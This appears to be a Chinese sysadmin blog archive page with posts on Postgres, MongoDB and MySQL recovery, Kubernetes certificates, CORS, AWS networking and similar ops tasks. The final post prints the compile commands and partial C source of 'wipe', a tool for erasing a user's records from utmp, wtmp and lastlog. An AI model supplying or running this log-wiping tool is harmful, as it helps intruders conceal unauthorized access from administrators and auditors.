就ok了，但是30天就更新一次license，而且必须要重启容器，这谁受得了啊。

下周就抽空装一个不依赖Zookeeper，用Rraft的Kafka来用，彻底去掉这个不伦不类的软件。

Postgres不同实例、不同用户直接的数据导出导入

Wed, 23 Jul 2025 09:01:11 +0800

公司生产环境在AWS使用了 Aurora Postgres Serveless 的数据库。

测试环境是在内网搭建了一个postgres 13数据库。

那测试和生产的实例不同，数据库不同，用户名也不同，需要把测试环境的A库的schema.public迁移到生产B库的schema.public。

普及一下概念，PG的权限分三层，数据库、schema、schema中的对象。

那么用pg_dump的话，如果不带任何参数，那会把权限也给带上，那就麻烦大了去了！

所以正确的导出、导入步骤如下：

一、首先要观察源库，看看都有什么extention，在schema.public有什么Functions

如上图所示，看到uuid_generate

# 看看服务器版本
select version();
PostgreSQL 13.14

那就很奇怪，extension 只有一个plpgsql，functions却有一堆uuid_generate

那十有八九需要用到extension uuid-oosp

先去目的库建一个吧

create extension "uuid-ossp";

二、dump数据

这里要注意，不要把任何权限的东西带进来

pg_dump -h 172.16.8.1 -U postgres -d source --schema=public --no-owner --no-privileges --file=export.sql

# 全备份的命令
# export PGPASSWORD="xxxxxxxx"
# pg_dump -U bbc -h localhost -p 5432 bbc > dc_system.sql

然后要编辑看看这个导入的文件

发现有create schema的语句，如果目的数据库已经有了，那需要去掉。

再看下面：

建立了一个FUNCTION，如果已经建立了extension，那也会报错，不过这2种错误我们都可以直接不用管，直接执行试试

三、导入目标库

跑一跑，看一看：

psql -h 10.8.0.1 -U dest -d dest -f export.sql

报了不少错

内网kubernetes+cloudflare+cert-manager自动签发证书

Wed, 09 Jul 2025 09:01:11 +0800

这个场景非常的有意思：

公司内部有若干个kubernetes集群，属于测试环境，研发搭建了一套SAAS的环境，这个环境需要xxx.abc.com的域名来访问，域名解析记录全都是192.168.0.x，供内部访问，域名会动态生成，需要证书也随之生成，且dns域名托管在cloudflare上。

基本环境如上，麻烦的是 cert-manager 不可能签发私网的证书，只能曲线救国，用dns验证的方式来签发证书了，如果配上 external-dns，那dns解析也不用做了；只要发布一个ingress，就直接生成dns解析记录和对应的https证书。

具体做法如下：

一、配置 cloudflare API token

登录cloudflare，去生成API Token，路径是：User Profile > API Tokens > API Tokens.

Permissions：
- Zone - DNS - Edit
Zone Resources:
- Include - All Zones

cert-manager的官方文档居然是错的，https://cert-manager.io/docs/configuration/acme/dns01/cloudflare/

推荐的 Zone - Zone - Read 是加不上的，有Edit就足够了

然后获得Token的字符串xxxxxx

二、安装cert-manager

这个简单，直接用helm安装

现在这个时间节点，2025.07.09，cert-manager 是 v1.18.2，所以用新命令执行安装

helm repo add jetstack https://charts.jetstack.io
helm repo update

#老版本比如1.0
helm install cert-manager jetstack/cert-manager --namespace cert-manager --create-namespace --set installCRDs=true

#新版本v1.18.2
helm install cert-manager jetstack/cert-manager --namespace cert-manager --create-namespace --set crds.enabled=true

三、准备签发机构Issuer

CORS跨域在不同环境中的配置

Tue, 17 Jun 2025 09:01:11 +0800

Cross-Origin Resource Sharing (CORS) 跨域，一个网站引用了另外一个网站的资源，就需要跨域了。

最通俗点，就是服务器的返回头上要加上三行：

Access-Control-Allow-Origin", "*"
Access-Control-Allow-Methods", "GET, POST, OPTIONS"
Access-Control-Allow-Headers", "DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization"

说白点：就是允许的来源站，允许的方法，允许的头信息

那在不同的地方配置又不相同：

一、Nginx

    server {
        add_header Access-Control-Allow-Origin *;
        add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
        add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';

二、openresty中的lua脚本

location /pg/nginit {
    rewrite_by_lua_block {
        ngx.log(ngx.ERR, "Environment configuration update, about to get configuration information from redis")
 
        -- 添加跨域 CORS 头
        ngx.header["Access-Control-Allow-Origin"] = "*"  -- 允许所有域名请求
        ngx.header["Access-Control-Allow-Methods"] = "GET, POST, OPTIONS"  -- 允许的方法
        ngx.header["Access-Control-Allow-Headers"] = "DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization"  -- 允许的请求头

三、AWS的S3

<CORSConfiguration>
  <CORSRule>
    <AllowedOrigin>http://example.com</AllowedOrigin>
    <AllowedMethod>GET</AllowedMethod>
    <AllowedHeader>*</AllowedHeader>
  </CORSRule>
</CORSConfiguration>

四、AWS Lambda 或者 API Gateway

headers: {
  'Access-Control-Allow-Origin': '*',
  'Access-Control-Allow-Credentials': true,
}

最后，AWS的ALB不支持配置CORS！！！，必须在后端的 application 中设置。

AWS的跨账号访问不同VPC域中的服务

Wed, 21 May 2025 09:01:11 +0800

公司有两个AWS账号，有各自不同的 VPC 域。其中一个账号用到了 Aurora Postgres Serveless 的数据库。

现在另一个账号也需要用到posgres数据库，最直接的想法是在本域再搭一套postgres，或者ec2新加一台，上面安装posgres。

先去检查了一下已有的postgres serverless服务，结果使用率才23%，当下就直接想复用它了。

那能不能单独再开一个db，单独给第二个账号用呢，查了半天资料。可以的，但是吧，chatgpt真的是满嘴胡说八道，连带gemini也是。

aws家的东西都是开源经过魔改，跟网上占大多数的资料是不同的，这直接导致 chatgpt 按照网上大多数文档来进行推理，导致错误！！！

还有就是aws家的东西更新修改很快，最新的文档和之前的文档不同，也导致 chatpt 按照网上大多数的旧文档来进行推理，导致错误！！！

这个东西的架构图如上，右边的VPC里面连着 aurora 服务，它实际是target group的一个目标，然后上联到nlb，nlb再上联到endpoint service，对外提供服务.

然后左面VPC中建endpoint，通过PrivateLink连接到右边的EndpointService，这样通过私有的dns name和security group再进行控制，就可以直接连到右边的endpoint service服务资源了。

具体的做法步骤如下：

一、第一步，右边的VPC中

1、建立EndpointService

到VPC中，左边的Endpoint Services，点击：

点击Create endpoint service新建一个

名字：postgresql-serverless-endpoint-service，由于现在还没有nlb，需要再新建一个；点击Create new load balancer

2、建立nlb

点击：Create load balancer新建

这个类型，只能是nlb

我们这个nlb，不放在公网，不公开，所以选私有的Internal，只有IPV4，不提供IPV6.

网络选该VPC，子网选择三个private的子网

Security groups选择一下，这里rds-sg的inbound规则是允许TCP端口5432的进入，如果没有就新建一个SG

到最后了，居然还没有target group，那又要建一个了，点击Create target group建立

3、建立target group

名字叫做：postgres-target-group

我们选IP addresses，因为要连到后面的postgres服务

然后选好TCP，Port 5432， IPV4，VPC，其它保持缺省，然后建立

kafka的测试替代品-redpanda

Fri, 16 May 2025 12:01:11 +0800

公司的一个公网要搬到内网的一个Rancher集群上，很繁琐

原有的架构有kafka，要在内网复现一个出来

那3节点的kafka和3节点的zookeeper，真的是不想搭啊

搜啊搜啊搜啊搜，终于找到若干平替：

Redis 的平替 Dragonfly
Mongo 的平替 FerretDB
Kafka 的平替 Redpanda

那就选定用Redpanda来搞，方法还是有一些曲折的：

Redpanda 在 2025年5月16日这个节点，有5个版本

最新的25.1的版本，如果用docker compose来启动，是个压缩包，好多文件。

数据盘有三个了，而且用到了minio做后端的持久化卷，这么复杂，那不如直接搞Kafka了

那只能往前回退，选用24.2的版本，docker compose 就一个文件，不过这个版本 2025年7月31日就终结支持了。

下载的话：https://docs.redpanda.com/24.2/get-started/quick-start/

我们要的是一个broker的，那直接给出源文件

name: redpanda-quickstart-one-broker
networks:
  redpanda_network:
    driver: bridge
volumes:
  redpanda-0: null
services:
  redpanda-0:
    command:
      - redpanda
      - start
      - --kafka-addr internal://0.0.0.0:9092,external://0.0.0.0:19092
      # Address the broker advertises to clients that connect to the Kafka API.
      # Use the internal addresses to connect to the Redpanda brokers'
      # from inside the same Docker network.
      # Use the external addresses to connect to the Redpanda brokers'
      # from outside the Docker network.
      - --advertise-kafka-addr internal://redpanda-0:9092,external://localhost:19092
      - --pandaproxy-addr internal://0.0.0.0:8082,external://0.0.0.0:18082
      # Address the broker advertises to clients that connect to the HTTP Proxy.
      - --advertise-pandaproxy-addr internal://redpanda-0:8082,external://localhost:18082
      - --schema-registry-addr internal://0.0.0.0:8081,external://0.0.0.0:18081
      # Redpanda brokers use the RPC API to communicate with each other internally.
      - --rpc-addr redpanda-0:33145
      - --advertise-rpc-addr redpanda-0:33145
      # Mode dev-container uses well-known configuration properties for development in containers.
      - --mode dev-container
      # Tells Seastar (the framework Redpanda uses under the hood) to use 1 core on the system.
      - --smp 1
      - --default-log-level=info
    image: docker.redpanda.com/redpandadata/redpanda:v25.1.4
    container_name: redpanda-0
    volumes:
      - redpanda-0:/var/lib/redpanda/data
    networks:
      - redpanda_network
    ports:
      - 18081:18081
      - 18082:18082
      - 19092:19092
      - 19644:9644
  console:
    container_name: redpanda-console
    image: docker.redpanda.com/redpandadata/console:v3.1.0
    networks:
      - redpanda_network
    entrypoint: /bin/sh
    command: -c 'echo "$$CONSOLE_CONFIG_FILE" > /tmp/config.yml; /app/console'
    environment:
      CONFIG_FILEPATH: /tmp/config.yml
      CONSOLE_CONFIG_FILE: |
        kafka:
          brokers: ["redpanda-0:9092"]
        schemaRegistry:
          enabled: true
          urls: ["http://redpanda-0:8081"]
        redpanda:
          adminApi:
            enabled: true
            urls: ["http://redpanda-0:9644"]
    ports:
      - 8080:8080
    depends_on:
      - redpanda-0

仔细看了一下，这里面有问题，卷是空的，这可不行，必须持久化到本地，改一下

Ubuntu 如何安装远程桌面RDP

Fri, 16 May 2025 09:01:11 +0800

非常郁闷的一件事。公司的网络架构非常有意思，灵活性极大。导致我这个总在公司之外用openvpn连进去的人很痛苦，无法复现同事提出的问题。

没办法，需要在公司网络内部有台测试机，那实际是有很多的，但都是debian或者ubuntu的，而问题偏偏是网页打不开的问题。

那就干脆找一台Ubuntu，安装一下远程桌面，用RDP 3389连进去，启动一个Firefox，进行测试即可。

步骤如下：

一、升级ubuntu到最新

sudo apt update
sudo apt upgrade -y

二、安装xrdp

sudo apt install xrdp -y

三、安装桌面环境xfce

sudo apt install xfce4 xfce4-goodies -y

四、配置xfce使用xrdp

echo xfce4-session > ~/.xsession

# 将最后一行替换掉
sudo vi /etc/xrdp/startwm.sh
#exec /bin/sh /etc/X11/Xsession
exec startxfce4

五、设置xrdp服务自启动

sudo systemctl enable xrdp
sudo systemctl start xrdp

六、如果有防火墙，记得放开3389的tcp端口

七、把用户加入ssl-cert组

# 这里我的登录用户是debian
sudo adduser debian ssl-cert

# 加组不用重启，如有其它改动需要重启
sudo systemctl restart xrdp

八、安装Firefox

sudo apt install firefox-esr

九、开远程桌面，连上去，开个命令行执行firefox-esr

mongodb 集群的恢复

Mon, 12 May 2025 09:01:11 +0800

要做一个mongodb集群的迁移和恢复，真是折腾死人了。记录并顺便吐槽一下：

mongodb的tools真的是太简易、粗糙、丑陋了。

线上的源数据库是腾讯的服务，要废弃搬迁到内网，足足折腾了一个星期。

线上源数据库环境如下：

云数据库 TencentDB
4C/8GB/500GB
3节点

于是在线下对等建立了mongo集群，同样配置，同样3节点。

噩梦由此开始啊，注意线下集群的memory配置一定要高：

32GB
用户名和密码一定要和线上完全一致
如果用户名密码不一致，Document恢复完毕，Index无法建立，因为是完全恢复，会覆盖admin这个db

然后开始dump线上数据

mongodump -vvvvv --uri="mongodb://root:xxxxxxxx@10.1.2.3:27017/?authSource=admin"

然后生成一个24G大小得dump文件夹，压缩后2.4G，传输到线下库上准备恢复

# 大量恢复必须扩大文件句柄，否则过不去
ulimit -n 655360

# 一定要记录下来开始的时间戳，后面有用
date
Sun May 11 06:34:02 PM CST 2025

# 开始恢复，漫长的一天开始了
# 必须放到screen中执行，否则网络不好，断了也会很悲剧

screen -L

./mongorestore \
   --drop \
   --host=192.168.111.222 \
   --port=27017 \
   --username=root \
   --authenticationDatabase=admin \
   --nsExclude=admin \
   /root/dump
   
 ctrl+a+d

其实刚开始线下三节点得配置是8G，然后恢复用了一晚，报错，直接把shard3给打崩了，虽然三节点都是docker启动得，有自动恢复机制，但是mongorestore可不管这个，中断期间有1000个Document没有恢复成功。

重试了2次后才发现这问题，2天已经过去了，意识到就立刻把内存提升到32G，再次进行恢复。

但是新建的集群的密码跟源库这时是不一致的，又一天过去了，Document文档是恢复完毕，Index又无法建立，因为用户名和密码不一致，Fuck！

又双叒再次开始恢复，这下天下大吉了，然后这还不算完！

restore后，其实又过了一天，那要追平之后的数据，就得用上实时同步工具了，这里用的是阿里的mongoshake

下载：

wget https://github.com/alibaba/MongoShake/releases/download/release-v2.8.5-20250403/mongo-shake-v2.8.5.tgz

tar zxvf mongo-shake-v2.8.5.tgz
cd mongo-shake-v2.8.5
wget https://raw.githubusercontent.com/alibaba/MongoShake/refs/heads/develop/conf/collector.conf

我们需要注意collector.conf的以下地方：

mongodb 如何升级

Wed, 22 Jan 2025 09:01:11 +0800

mongodb 公司现在运行的版本是mongodb 4.2.19，在处理allowDiskUse的时候失败

对比了一下，似乎另外一个集群跑的是5.0.5，就没有问题

那就升级一下，步骤如下：

首先下载 5.0.30

wget --no-check-certificate https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian11-5.0.30.tgz

然后解压弄好，准备好mongodb.conf

dump下来老数据，不加·–quiet·的参数有可能会遇到EOF的错误

mkdir mongobackup
cd mongobackup
mongodump --quiet

然后杀掉4.2.19，启动5.0.30，把数据回灌回去，同样要用--quiet参数

cd mongobackup
mongorestore --quiet

这样就OK了。

注意，mongo 是吃内存大户，如果备份不下来，或者恢复不进去，请增加内存。

曾有过一次，8G->16G->32G 才成功。

而且必须一个一个db进行备份，一个一个db进行恢复，记得备份 admin 数据库

mongodump -d message
mongorestore --port 37017 --drop --nsInclude=message.*

AWS alb 负载均衡做ingress的注意事项

Mon, 20 Jan 2025 09:01:11 +0800

管理了一个AWS的EKS集群，用的是ALB的负载均衡，这个负载均衡和Nginx有区别，有很多特殊的地方需要注意。

基本需要宣告很多独有的 annotations

一、http自动跳转到https

  annotations:
    alb.ingress.kubernetes.io/actions.ssl-redirect: |
      {"Type": "redirect", "RedirectConfig": { "Protocol": "HTTPS", "Port": "443", "StatusCode": "HTTP_301"}}
      
......

  - host: '*.bajie.dev'
    http:
      paths:
      - backend:
          service:
            name: ssl-redirect
            port:
              name: use-annotation
        path: /
        pathType: Prefix

注意，annotation了上面一条，那么在LB中，http 80的规则就只剩下这一条了，压倒一切的规则。

之后你再annotation别的http规则，会不生效；你只能去annotition https的规则。

二、www重定向

例子：输入 rendoumi.com，会自动重定义到 www.rendoumi.com

  annotations:
    alb.ingress.kubernetes.io/actions.www-redirect: |
      {"type":"redirect","redirectConfig":{"host":"www.rendoumi.com","port":"443","protocol":"HTTPS","statusCode":"HTTP_301"}}

......

  - host: rendoumi.com
    http:
      paths:
      - backend:
          service:
            name: www-redirect
            port:
              name: use-annotation
        path: /
        pathType: Prefix

这个是直接301跳转到https去了

Mysql的某个表恢复到某一个时间点的操作

Fri, 03 Jan 2025 09:01:11 +0800

同事上线，把数据库初始化脚本改了名。结果导致上线把库表的数据全给重新初始化了。这下事来了，恢复库表。

之前用过阿里云的库表恢复，非常简洁，那这次也照猫画虎学一回，步骤如下：

一、保存现在的记录：

把所有相关的binlog拷贝到一个备份目录保存。

二、最好新建一个mysql实例：

阿里确实事新起了一个实例，避免操作对旧实例造成影响。

我们实战中可能没必要，但也要封锁数据库的读写：

iptables -I INPUT -p tcp --dport 3306 -j DROP

# 把自己放通，后续可能自己要进行 mysql 或 mysqldump 的操作
iptables -I INPUT -s 127.0.0.1/32 -p tcp --dport 12530 -j ACCEPT

三、解析binlog

我们需要把重放日志拿出来：

mysqlbinlog --start-datetime="2025-01-02 14:40:00" --stop-datetime="2025-01-02 14:50:00" --verbose binlog.000009 |grep -i -C15 "drop table"|more

mysqlbinlog binlog.000009 --stop-position=260734003 --database=work_oa > 9.sql

注意，分析：看到 at 260734003 下面有个 drop table ，说明是在 260734003 之后发生了 drop table 操作
所以，回放到260734003就可以了。之后、之后、之后才操作的！！！

/*!80014 SET @@session.original_server_version=80019*//*!*/;
/*!80014 SET @@session.immediate_server_version=80019*//*!*/;
SET @@SESSION.GTID_NEXT= 'ANONYMOUS'/*!*/;
# at 260734003
#200311 20:06:20 server id 1  end_log_pos 355 CRC32 0x2fc1e5ea 	Query	thread_id=16	exec_time=0	error_code=0
SET TIMESTAMP=1583971580/*!*/;
SET @@session.pseudo_thread_id=16/*!*/;
SET @@session.foreign_key_checks=1, @@session.sql_auto_is_null=0, @@session.unique_checks=1, @@session.autocommit=1/*!*/;
SET @@session.sql_mode=1168113696/*!*/;
SET @@session.auto_increment_increment=1, @@session.auto_increment_offset=1/*!*/;
/*!\C utf8mb4 *//*!*/;
SET @@session.character_set_client=255,@@session.collation_connection=255,@@session.collation_server=255/*!*/;
SET @@session.lc_time_names=0/*!*/;
SET @@session.collation_database=DEFAULT/*!*/;
/*!80011 SET @@session.default_collation_for_utf8mb4=255*//*!*/;
DROP TABLE `pets`.`cats` /* generated by server */
/*!*/;
# at 260734009
#200311 20:07:48 server id 1  end_log_pos 434 CRC32 0x123d65df 	Anonymous_GTID	last_committed=1	sequence_number=2	rbr_only=no	original_committed_timestamp=1583971668462467	immediate_commit_timestamp=1583971668462467	transaction_length=473
# original_commit_timestamp=1583971668462467 (2020-03-11 20:07:48.462467 EDT)
# immediate_commit_timestamp=1583971668462467 (2020-03-11 20:07:48.462467 EDT)
/*!80001 SET @@session.original_commit_timestamp=1583971668462467*//*!*/;
/*!80014 SET @@session.original_server_version=80019*//*!*/;
/*!80014 SET @@session.immediate_server_version=80019*//*!*/;
SET @@SESSION.GTID_NEXT= 'ANONYMOUS'/*!*/;
# at 260734188
#200311 20:07:48 server id 1  end_log_pos 828 CRC32 0x57fac9ac 	Query	thread_id=16	exec_time=0	error_code=0	Xid = 217
use `pets`/*!*/;
SET TIMESTAMP=1583971668/*!*/;
/*!80013 SET @@session.sql_require_primary_key=0*//*!*/;
CREATE TABLE dogs

我们还是先找到 binlog 中 drop table 之类的操作字样，然后确定 position 后，把 binlog.00009 中之前的 log 导出。

设置Mysql自动定时删除xxljob的日志数据

Wed, 20 Mar 2024 09:35:11 +0800

xxl-job的日志数据实在是太大了，压根就没有清理过，设置一个定时任务来定时删除无用的废数据吧：

首先要确认定时任务开关已经打开了

show variables like 'event_scheduler';
On表示开启

然后到指定的库下，use k8s_xxl_job

CREATE EVENT delete_k8s_xxl_log
ON SCHEDULE EVERY 1 DAY
DO
DELETE FROM xxl_job_log WHERE trigger_time < CURRENT_TIMESTAMP - INTERVAL 7 DAY;

保留今天的数据，以及前7天的老数据。

查看以及编辑定时任务的命令：

#查看
show events;

#查看细节
SHOW CREATE EVENT delete_k8s_xxl_log

#编辑
ALTER EVENT delete_k8s_xxl_log
ON SCHEDULE EVERY 1 DAY
DO
BEGIN
    -- 在这里添加你想要执行的操作
END;

阿里云DMS管理数据库变更审批流

Tue, 05 Mar 2024 09:35:11 +0800

其实我们用的是yearning来管理 MySQL 数据库变更需求的，但是，类似 Oracle 或者 PolarDB，就用不成了。

这事只能交给阿里云的dms来管理了，其实dms要比yearning强大很多，可以精确控制到表的行级别权限的。

理由就是dms是个web页面，代理连接到后端的数据库，所以要显示什么，不要显示什么，从web界面是完全可以控制的。实际到数据库级别反而有的是控制不住的。

这就梳理一下建立审批流的步骤：

一、dms同步ram用户

ram用户是管理的基础了，这些用户必须先行导入dms，我们才能进一步赋予owner，DBA的权限

用户管理–>同步子账号，选择要dms要使用的账号同步过来即可

二、设定实例DBA

DMS里的权限是这样的：库的话有Owner，然后实例的话有DBA，最上是管理员。

那么一个实例里有几万张表，没人会想一个一个点击赋Owner的权限吧。

那就粗分一下，一个人对整个实例有权限审批即可。这样要先设定整个实例的DBA角色。

我们先编辑用户，让他有DBA的角色，以供之后在实例级别可以选择他

然后去实例管理里面：

选择实例的右边，更多–>编辑实例

实例的账号、密码、安全协同、安全规则都选上，然后高级信息里，实例DBA就可以选择刚才设置了DBA角色的人了

三、设置审批流程

然后去安全与规范，审批流程，新增审批模板，来自定义审批流

我们公司的审批流不是380缺省那个，380是需要三个人审批的：

我们的链路就很建单了，有操作权限的人找实例的DBA审批，然后过最高管理员批就完了，所以做如下的流程：

四、设置安全规则

我们再到安全与规范，点击安全规则，找到具体实例里设置的强管控模式 for MySQL

可以看到已经有2个实例用上了，然后到右边，点击编辑：

最主要的就是SQL变更，数据变更默认审批模板的设置，我们改成我们自己的审批流即可

其他的选项都可以按需进行修改。

五、设置用户权限

如上审批流就完成了，我们要登录具体的实例列表，再更多里设置权限

注意上面是设置的实例级别的权限。

如果要设置更细级别的库、表、行权限，需要点击数据库列表

在这里面的表详情的右边更多，可以控制库、表、行的权限

这样就可以弄完整个流程了。

邮箱地址无效导致群发邮件失败

Mon, 04 Mar 2024 09:35:11 +0800

这个问题十分的讨厌啊，Bi大数据部会群发报表邮件，但是如果有某位员工离职了，邮件地址被清理掉不存在了，那么群发邮件的时候会导致群发失败。

网上搜索了一圈，阿里有篇文章是同样问题：

https://blog.csdn.net/javaee_sunny/article/details/114836546

解决方法是修改发送程序，剔除掉失效的邮件地址再发。

这个方法在我们这里是行不通的，因为发送程序没人维护了，无法修改。

那就只能曲线救国了：建立一个转发服务器，把群发邮件变成一封一份单独发，那么偶尔一份失败就失败了，不会导致整个群发的失败。

搭建一个Postfix relay转发服务器：

vi /etc/postfix/main.cf

relayhost = [smtp.qiye.aliyun.com]:587
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_use_tls = yes
smtp_tls_CAfile = /etc/pki/tls/certs/ca-bundle.crt
smtp_sender_dependent_authentication = yes
smtp_destination_recipient_limit = 1
message_size_limit=102400000

解释：转发到阿里邮件服务器的标准配置，网络上已经有很多教程了。然后关键就一条smtp_destination_recipient_limit = 1,这个就会把群发的邮件拆成单独的一封一封发送，发不出去的会回到queue尝试不断发送，最后失败drop掉。

另外postfix缺省发送邮件的大小是10M，阿里邮局缺省是50M，我们需要修改一下，message_size_limit=102400000改成100M的限制。

最后生成一下邮件用户的hash库：

vi /etc/postfix/sasl_passwd
[smtp.qiye.aliyun.com]:587  report@ddky.com:xxxxxxxx

postmap /etc/postfix/sasl_passwd

那么发邮件的时候指定这台服务器，用户名是 report@ddky.com , 密码是xxxxxxxx就可以了

补充，需要安装缺少的库，否则登录阿里邮局过不去，还需要打开服务器的允许网段列表，mynetwork

yum install -y cyrus-sasl-plain

voip的lsusb检测华为猫棒usb地址来回跳动

Fri, 16 Feb 2024 09:00:11 +0800

这不是要出国就提前搭建了一个voip的电话系统么，结果在使用的过程中，华为的猫棒居然出现地址来回跳动的问题。

正常情况下，lsusb的结果

lsusb

Bus 001 Device 017: ID 12d1:1436 Huawei Technologies Co., Ltd. Broadband stick

过一阵子，或者持续几天后，地址就变了

lsusb

Bus 001 Device 017: ID 12d1:1446 Huawei Technologies Co., Ltd. HSPA modem

看上面，vender id从1436变成了1446，名字也从stick变成了modem

由于这个usb设备是直通到kvm的freepbx虚机里面去的，这直接导致voip系统不能用了，可恶啊。

必须把它给固定下来，首先先从1446变回1436

yum -y install epel-release
yum -y install use_modeswitch

usb_modeswitch -v 12d1 -p 1446 -c "/usr/share/usb_modeswitch/12d1:1446"

变回来了不成，还得把它彻底固定下来

vi /lib/udev/rules.d/40-usb_modeswitch.rules

#装了usb_modeswitch后居然已经自带了
# Generic entry for most Huawei devices, excluding Android phones
ATTRS{idVendor}=="12d1", ATTRS{manufacturer}!="Android", ATTR{bInterfaceNumber}=="00", ATTR{bInterfaceClass}=="08", RUN+="usb_modeswitch '%b/%k'"

shit，不管它，再次强行固定

vi /lib/udev/rules.d/40-usb_modeswitch.rules、

# Huawei, newer modems
ATTR{idVendor}=="12d1", ATTR{idProduct}=="1446", RUN+="usb_modeswitch '%b/%k'"

这样就搞定了，得亏提前发现了这问题，否则跑到国外再发现，就晚了！

PostgreSQL的用户权限管理

Mon, 05 Feb 2024 10:00:11 +0800

公司选用了阿里云的PolarDB做数据库，这个东西其实就是Postgres增加了外挂，可以支持Oracle语法。

没办法，得仔细研究一下Postgres的用户管理了。

PostgreSQL权限架构是宝塔形结构

最上层是实例

实例中允许创建多个数据库

每个数据库中可以创建多个schema，

每个schema下面可以创建多个对象。

对象包括表、物化视图、操作符、索引、视图、序列、函数、… 等等。

上面schema中有个奇怪的东西，public，注意：是小写。

先总结：PUBLIC是缺省的权限，代表所有人的意思（是个角色）。

默认情况下，在创建数据库之后，允许PUBLIC角色(大写)连接，即允许任何人连接。

默认情况下，数据库在创建后，不允许除了超级用户和owner所有者之外的任何人在数据库中创建schema。

默认情况下，在创建数据库之后，会自动创建名为 public 的schema，这个schema的all权限已经赋予给PUBLIC角色（注意是大写），即允许任何人在里面创建对象。

schema级别的权限，包括允许查看schema中的对象(USAGE)，以及允许在schema中创建对象(CREATE)。

默认情况下新建的schema的权限不会赋予给PUBLIC角色，因此除了超级用户和owner，任何人都没有权限查看schema中的对象或者在schema中新建对象。

举例来说，建了个库，又建了用户，没给这个用户赋予任何权限。缺省他就从PUBLIC角色继承了对库里的schema.pulic权限，可以连接到这个schema.pulic，并且在这里建临时表、建表、view等等对象，但是没办法建立其它schema。

PostgreSQL的模式（SCHEMA）可以看作是一个表的集合。

一个模式可以包含视图、索引、数据类型、函数和操作符等。

再来说角色：

在数据库中所有的权限都和角色挂钩。

角色和用户的唯一区别在于，角色是nologin的，而用户允许login，仅此而已。

而"PUBLIC"是一个特殊的角色，代表着所有人。

那又有一个问题：

每个PostgreSQL对象都有一个名为“所有者”的特殊角色。只有所有者才能执行某些操作，如 ALTER TABLE ，而你不能将这样的权限授予非所有者。

那不可能只有一个人可以alter表结构吧，我们可以使用角色继承来解决此问题。创建 table_owner 角色并且 GRANT table_owner TO user1, user2 （user1和user2继承table_owner)，然后赋权 ALTER TABLE my_table OWNER TO table_owner 赋予table_owner所有者角色。现在表的所有者是 table_owner 了，但是因为 user1 和 user2 是该角色的成员，所以他们也具有继承权限来运行 ALTER TABLE了，如下图。

啰嗦了这么多，除了修改pg_hba.conf，赋权的命令就两条，grant和revoke，看下图：

进入实战，首先从上到下都看一看，有什么库，有什么schema，有什么对象，有什么表，有什么索引，有什么角色：

#推荐用psql来进行管理，有很多快捷键，navicat里面是没有的
#没有的话就装一个
yum install postgresql.x86_64

psql -h 10.8.2.61 -U admin 

#必用快捷键
#列出所有的库
\l

#列出所有的schema
\dn

#看schema.public权限
\dn+ public

#列出所有的对象（table, view, sequences）
\d

#列出所有的角色
\du

#列出所有表
\dt

#列出所有索引
\di


#同样的sql
select * from pg_roles;

#看看能登录的用户有哪些
select * from pg_user;

那自顶向下开始：

Openvpn 的一些问题

Tue, 30 Jan 2024 10:00:11 +0800

一些Openvpn问题：

一、OpenVPN - ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such file or directory (errno=2)

没有tun设备，建一个就行：

mkdir -p /dev/net
mknod /dev/net/tun c 10 200
chmod 600 /dev/net/tun

二、vpn进程掉了

加一个crontab，定时检测，没有就重启

*/1 * * * * /usr/local/bin/vpn.sh

cat /usr/local/bin/vpn.cn
#!/bin/bash
vpn_pid=$(ps ax|grep openvpn|grep -v grep|awk '{print $1}')
if [[ ! -n "$vpn_pid" ]]; then
  datetime=$(date +"%Y%m%d %H:%M:%S")
  echo  "Restart openvpn at $datetime" >> /tmp/r.txt
  sleep 5
  /app/openvpn/sbin/openvpn --config /etc/openvpn/conf/client1.conf --daemon
fi

Linux下的擦除工具

Mon, 29 Jan 2024 10:52:11 +0800

Linux下的日志擦除软件，无解释珍藏：

gcc -O3  -DHAVE_LASTLOG_H -DNO_ACCT -o wipe wipe.c

wipe u root #w 命令擦掉在线的root
wipe w root #last 命令擦掉root
wipe l root #lastlog 命令擦掉root登录记录

源码如下：

/*
 * Wipe v1.00.
 *
 * Written by The Crawler.
 *
 * Selectively wipe system logs.
 *
 * Usage: wipe [l,u,w] username
 * ex:    wipe l user;wipe u user;wipe w user
 *
 * Wipes logs on, but not including, Linux, FreeBSD, Sunos 4.x, Solaris 2.x,
 *      Ultrix, AIX, IRIX, Digital UNIX, BSDI, NetBSD, HP/UX.
 * compile with  -DHAVE_LASTLOG_H -DNO_ACCT */

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/uio.h>
#ifndef NO_ACCT
#include <sys/acct.h>
#endif
#include <utmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <pwd.h>
#include <time.h>
#include <stdlib.h>

#ifdef HAVE_LASTLOG_H
#include <lastlog.h>
#endif

#ifdef HAVE_UTMPX
#include <utmpx.h>
#endif

/*
 * Try to use the paths out of the include files. 
 * But if we can't find any, revert to the defaults.
 */
#ifndef UTMP_FILE
#ifdef _PATH_UTMP
#define UTMP_FILE	_PATH_UTMP
#else
#define UTMP_FILE	"/var/adm/utmp"
#endif
#endif 

#ifndef WTMP_FILE
#ifdef _PATH_WTMP
#define WTMP_FILE	_PATH_WTMP
#else
#define WTMP_FILE	"/var/adm/wtmp"
#endif
#endif

#ifndef LASTLOG_FILE
#ifdef _PATH_LASTLOG
#define LASTLOG_FILE	_PATH_LASTLOG
#else
#define LASTLOG_FILE	"/var/adm/lastlog"
#endif
#endif

#ifndef ACCT_FILE
#define ACCT_FILE	"/var/adm/pacct"
#endif

#ifdef HAVE_UTMPX

#ifndef UTMPX_FILE
#define UTMPX_FILE	"/var/adm/utmpx"
#endif

#ifndef WTMPX_FILE
#define WTMPX_FILE	"/var/adm/wtmpx"
#endif

#endif /* HAVE_UTMPX */

#define BUFFSIZE	8192


/* 
 * This function will copy the src file to the dst file.
 */
void
copy_file(char *src, char *dst)
{
